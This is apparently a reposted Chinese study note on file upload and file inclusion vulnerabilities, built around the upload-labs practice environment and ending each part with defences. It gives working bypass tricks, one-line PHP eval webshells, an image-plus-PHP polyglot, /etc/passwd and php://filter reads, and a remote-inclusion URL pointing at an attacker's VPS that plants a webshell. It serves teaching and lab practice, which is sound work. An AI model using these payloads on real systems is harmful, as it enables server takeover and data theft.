ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

文件上传漏洞

2021-05-16 00:01:30  阅读:368  来源: 互联网

标签:文件 include 包含 url 漏洞 allow php 上传


Upload-labs

环境下载:https://github.com/c0ny1/upload-labs

通关手册:https://xz.aliyun.com/t/2435

客户端校验

 javascript校验(一般只校验后缀名)upload-labs 第一关(浏览器 bp都可以).

服务端校验

  1. content-type验证 upload-labs 第二关
  2. 文件扩展名校验  (`白名单`、`黑名单`)  upload-labs 第三关
  3. 文件内容头校验(`GIF89a`)文件幻数检测
  4. 文件内容检测 (检测内容是否合法或含有恶意代码,二次渲染配合文件包含二次渲染 https://xz.aliyun.com/t/2657#toc-3)

绕过

找漏网之鱼:php3,php4,php7等 (PHP版本<5.3可使用%00截断)

第三关若要成功访问.php3,则需要在Apache中添加语句,也可以添加其它任意扩展名,都执行.php程序

AddType application/x-httpd-php .php .php3 .php5 .php7

大小写绕过:AsP、pHP
文件后缀双写绕过   php ""

上传不符合windows文件命名规则的文件名 test.php:1.jpg test.php::$DATA 会被windows系统自动去掉不符合规则符号后面的内容
配合解析漏洞绕过

%00截断 (PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容) 配合解析漏洞绕过
c语言里面的%00

.htaccess绕过

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:
URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

<FilesMatch "1.jpg">  //匹配文件
        SetHandler application/x-httpd-php  
    //SetHandler方法将1.jpg当成php代码执行
</FilesMatch>
// 作用范围 当前目录

内容检测

一般来说是对上传的文件的内容进行一个检测,比如<? ?> php 等等

绕过思路是去构造免杀的webshell

<script language=php>@eval($_POST[123]);</script>       #PHP5 支持,这里是通过使用标签来构造免杀

构造优质上传漏洞Fuzz字典:https://www.freebuf.com/articles/web/188464.html

防御

  1. 文件扩展名服务端白名单效验
  2. 文件内容服务端效验  <? php
  3. 上传文件重命名
  4. 隐藏上传文件路径
  5. 限制相关目录的执行权限,防范WebShell攻击

文件包含

文件包含是允许将包含的任意文件,只要满足php代码格式的文件都会当成PHP代码执行。

include()        //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
include_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require()        //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

本地文件包含(LFI)

1.读敏感文件
?file=/etc/passwd

2.利用封装协议读源码
?file=php://filter/read=convert.base64-encode/resource=index.php    #这样能看到php文件的源码

封装协议的原理:

包含日志文件getshell

根据提示或其它途径得知日志文件的目录,访问目录可以看到日志文件的一些内容,User-Agent还可以修改成其它的php代码。(%20表示为空格)

包含图片Getshell

在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码.

这里使用到一个空的jpg文件,和一个包含一句话木马的php文件

<?php eval($_POST[1]);?>

再使用一个批处理文件将两者合成一个名为exe.jpg的文件

copy 1.png/b + 1.php/a exp.jpg

使用编辑器查看

PHP中的封装协议(伪协议)

file://

用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下

php://

条件:
allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input  #用的比较多 输入流

作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input
php://filter用于读取源码,php://input用于执行php代码

 

data://

条件:

allow_url_fopen:on

allow_url_include :on

 

作用:

自PHP>=5.2.0起,可以使用 data:// 数据流封装器,以传递相应格式的数据。

通常可以用来执行PHP代码

远程文件包含(RFL)

服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。

 条件:

'php.ini`中开启`allow_url_include`、`allow_url_fopen`选项。

远程包含Webshell

?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

绕过姿势

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

文件包含getshell

浅析php文件包含及其getshell的姿势:https://xz.aliyun.com/t/5535#toc-2

防御

  1. 禁止远程文件包含 `allow_url_include=off`
  2. 配置 `open_basedir=指定目录`,限制访问区域。
  3. 过滤`../`等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 `magic_quotes_qpc=on  php 4 5`
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。

标签:文件,include,包含,url,漏洞,allow,php,上传
来源: https://blog.csdn.net/qq_46263951/article/details/116856583

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有